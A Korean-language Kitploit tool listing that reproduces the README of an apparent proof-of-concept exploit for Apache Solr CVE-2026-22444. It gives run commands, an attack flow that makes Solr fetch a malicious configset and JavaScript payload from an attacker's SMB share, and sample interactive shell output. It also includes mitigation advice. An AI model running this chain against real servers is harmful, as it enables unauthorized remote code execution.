Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-22444 — Apache Solr CVE-2026-22444용 익스플로잇으로, UNC 경로 주입과 SMB 서버를 활용하여 악성 configset 및 JavaScript 페이로드를 통해 원격 코드 실행을 달성합니다. | Kitploit
도구/GitHubGitHub/bfdfhdsfdd-crypto/cve-2026-22444
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubbfdfhdsfdd-crypto/cve-2026-22444

CVE-2026-22444

Apache Solr CVE-2026-22444용 익스플로잇으로, UNC 경로 주입과 SMB 서버를 활용하여 악성 configset 및 JavaScript 페이로드를 통해 원격 코드 실행을 달성합니다.

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-22444

Apache Solr UNC 경로 검증 취약점

개요

CVE-2026-22444는 Apache Solr에 영향을 미치는 보안 취약점으로, 2026년 1월 20일경에 공개적으로 공개되었습니다. 이 취약점은 Apache Solr의 "create core" API가 특정 API 매개변수에 대한 입력 검증이 부족하여(CWE-20: Improper Input Validation) 발생하며, 공격자가 Solr가 "standalone" 모드로 실행 중일 때 보안 규칙을 우회할 수 있게 하여 데이터 유출, 원격 코드 실행(RCE) 또는 NTLM 해시 노출로 이어질 수 있습니다.

구체적으로, Solr에서 인증이 활성화되지 않았거나 사용자가 코어 생성 권한을 가진 경우, 공격자는 정교하게 구성된 요청을 통해 해당 API를 악용하여 보호된 파일에 접근하거나 악의적인 작업을 수행할 수 있습니다.

공개 정보

이 취약점은 2025년에 발견되어 Apache에 보고되었으며, oss-security 메일링 리스트에서 공개적으로 공개되었습니다:

공식 공지: https://www.openwall.com/lists/oss-security/2026/01/20/5

기술 세부 사항

이 취약점은 CoreContainer.java에 존재하며, CoreDescriptor 생성자가 UNC 경로 검증을 수행하기 전에 네트워크 작업을 트리거합니다:

  • instancePath.toAbsolutePath()는 네트워크를 통해 UNC 경로를 확인할 수 있음
  • Files.exists() 검사가 네트워크 호출을 수행함
  • Files.newInputStream()이 네트워크 읽기를 수행함
  • assertPathAllowed()를 통한 경로 검증은 이러한 작업 이후에만 발생함
  • 타임라인

    • 2025-08-20: 취약점 발견 및 Apache에 보고
    • 2026-01-20: 공개 공개

    저장소 내용

    • exploit.py - 개념 증명 익스플로잇 스크립트
    • files/ - 익스플로잇에 필요한 지원 파일(configset)
      • rce.js - 원격 코드 실행 JavaScript payload
      • conf/ - Solr 구성 파일
        • solrconfig.xml - 악성 업데이트 프로세서 체인 정의
        • schema.xml - Solr schema 정의
        • managed-schema - 관리형 schema 파일
    • requirements.txt - Python 의존성

    사용 방법

    환경 요구 사항

    • Python 3.6+
    • 대상 시스템은 Apache Solr 실행 중(Windows 시스템, 독립 모드)
    • 대상 Solr에 인증이 활성화되지 않았거나, 공격자가 코어 생성 권한을 보유

    의존성 설치

    root@kitploit:~
    pip install -r requirements.txt
    

    의존성 포함:

    • requests>=2.25.0 - HTTP 요청용
    • impacket>=0.10.0 - SMB 서버 생성용

    기본 사용법

    1. 기본 공격(로컬 IP 자동 감지)

    root@kitploit:~
    python3 exploit.py <대상 IP>
    

    예시:

    root@kitploit:~
    python3 exploit.py 192.168.1.100
    

    2. Solr 포트 지정

    root@kitploit:~
    python3 exploit.py <대상 IP> --port <포트>
    

    예시:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --port 8983
    

    3. SMB 서버 구성 지정

    root@kitploit:~
    python3 exploit.py <대상 IP> --smb-host <SMB 서버 IP> --smb-port <SMB 포트>
    

    예시:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
    

    4. 사용자 정의 SMB 공유 이름

    root@kitploit:~
    python3 exploit.py <대상 IP> --share-name <공유 이름>
    

    예시:

    root@kitploit:~
    python3 exploit.py 192.168.1.100 --share-name myshare
    

    명령줄 매개변수 설명

    root@kitploit:~
    위치 매개변수:
      target_host           대상 Solr 서버 IP 주소
    
    선택 매개변수:
      -h, --help            도움말 정보 표시 및 종료
      --port, -p PORT       Solr 서버 포트(기본값: 8983)
      --smb-host SMB_HOST   SMB 서버 IP(기본값: 로컬 IP 자동 감지)
      --smb-port SMB_PORT   SMB 서버 포트(기본값: 445)
      --share-name SHARE    SMB 공유 이름(기본값: malicious)
    

    공격 흐름

    1. SMB 서버 시작: 스크립트가 로컬에서 SMB 서버를 시작하여 files 디렉토리를 공유합니다
    2. 악성 코어 생성: 대상 Solr에 SMB 서버의 악성 configset을 가리키는 코어 생성 요청을 전송합니다
    3. Payload 트리거: Solr가 SMB 서버에서 악성 JavaScript 코드가 포함된 구성 파일을 다운로드합니다
    4. 명령 실행: 업데이트 요청을 전송하여 JavaScript payload 실행을 트리거합니다
    5. 대화형 셸: 성공적인 익스플로잇 후 대화형 명령 실행 환경에 진입합니다

    대화형 셸 사용법

    성공적인 익스플로잇 후, 스크립트는 대화형 셸을 제공합니다:

    root@kitploit:~
    solr> whoami
    [+] exit_code: 0, status: success
    --- stdout ---
    desktop-abc123\user
    
    solr> dir
    [+] exit_code: 0, status: success
    --- stdout ---
    Volume in drive C has no label.
    ...
    
    solr> exit
    [*] exiting shell...
    

    지원되는 명령:

    • 모든 Windows CMD 명령
    • exit 또는 quit - 대화형 셸 종료
    • Ctrl+C - 중단 및 종료

    작동 원리

    이 취약점은 다음 기술 체인을 활용합니다:

    1. UNC 경로 주입: configSet 매개변수를 통해 UNC 경로(예: //attacker-ip/share)를 주입합니다
    2. SMB 서버: 악성 Solr 구성 파일을 호스팅합니다
    3. JavaScript RCE: Solr의 StatelessScriptUpdateProcessorFactory를 활용하여 JavaScript 코드를 실행합니다
    4. 명령 실행: Java Runtime API를 통해 대상 시스템에서 임의 명령을 실행합니다

    고급 사용 예시

    전체 매개변수 예시

    root@kitploit:~
    python3 exploit.py 192.168.35.31 \
      --port 8983 \
      --smb-host 192.168.35.50 \
      --smb-port 445 \
      --share-name exploit
    

    파일 구조 설명

    root@kitploit:~
    CVE-2026-22444/
    ├── exploit.py              # 메인 익스플로잇 스크립트
    ├── requirements.txt        # Python 의존성
    ├── files/                  # 악성 configset
    │   ├── rce.js             # RCE JavaScript payload
    │   └── conf/              # Solr 구성 디렉토리
    │       ├── solrconfig.xml # 악성 업데이트 프로세서 구성
    │       ├── schema.xml     # Schema 정의
    │       └── managed-schema # 관리형 schema
    └── README.md              # 본 파일
    

    payload 설명

    rce.js: 핵심 RCE payload로, 다음을 수행합니다:

    • Solr의 업데이트 작업(add, delete, commit, rollback)을 가로챕니다
    • 요청 매개변수에서 cmd 매개변수를 가져옵니다
    • Java Runtime API를 사용하여 명령을 실행합니다
    • stdout 및 stderr를 캡처합니다
    • 실행 결과와 종료 코드를 반환합니다

    solrconfig.xml: Solr가 악성 업데이트 프로세서 체인을 사용하도록 구성합니다:

    • rce-chain 업데이트 프로세서 체인을 정의합니다
    • rce.js 스크립트를 참조합니다
    • /update 요청 프로세서가 해당 체인을 사용하도록 설정합니다

    주의 사항

    ⚠️ 경고: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 승인 없이 이 도구를 사용하여 시스템을 공격하는 것은 불법입니다.

    • 사용 전에 명시적인 서면 승인을 받았는지 확인하십시오
    • 테스트 환경 또는 합법적인 승인이 있는 환경에서만 사용하십시오
    • 통제된 침투 테스트 환경이 아닌 한 프로덕션 시스템에서 사용하지 마십시오
    • 사용자는 자신의 행동에 대한 책임이 있습니다

    방어 권장 사항

    1. Solr 업그레이드: Apache Solr를 이 취약점이 수정된 버전으로 업그레이드하십시오
    2. 인증 활성화: Solr에 강력한 인증 메커니즘이 활성화되어 있는지 확인하십시오
    3. 코어 생성 권한 제한: 신뢰할 수 있는 사용자에게만 코어 생성 권한을 부여하십시오
    4. 네트워크 격리: Solr를 보호된 네트워크 환경에 배포하십시오
    5. 방화벽 규칙: Solr 관리 인터페이스에 대한 접근을 제한하십시오
    6. 비정상 활동 모니터링: UNC 경로 접근 및 비정상적인 코어 생성 요청을 모니터링하십시오

    참고 링크

    • Apache Solr 공식 웹사이트
    • OSS Security 메일링 리스트 공지
    • CWE-20: Improper Input Validation

    라이선스

    이 프로젝트는 MIT 라이선스를 따릅니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

    면책 조항

    이 도구와 정보는 보안 연구 및 교육 목적으로만 제공됩니다. 저자는 이 정보나 도구의 오용으로 인해 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다. 사용자는 모든 적용 가능한 법률과 규정을 준수해야 하며, 사용 전에 적절한 승인을 받아야 합니다.

    도구 다운로드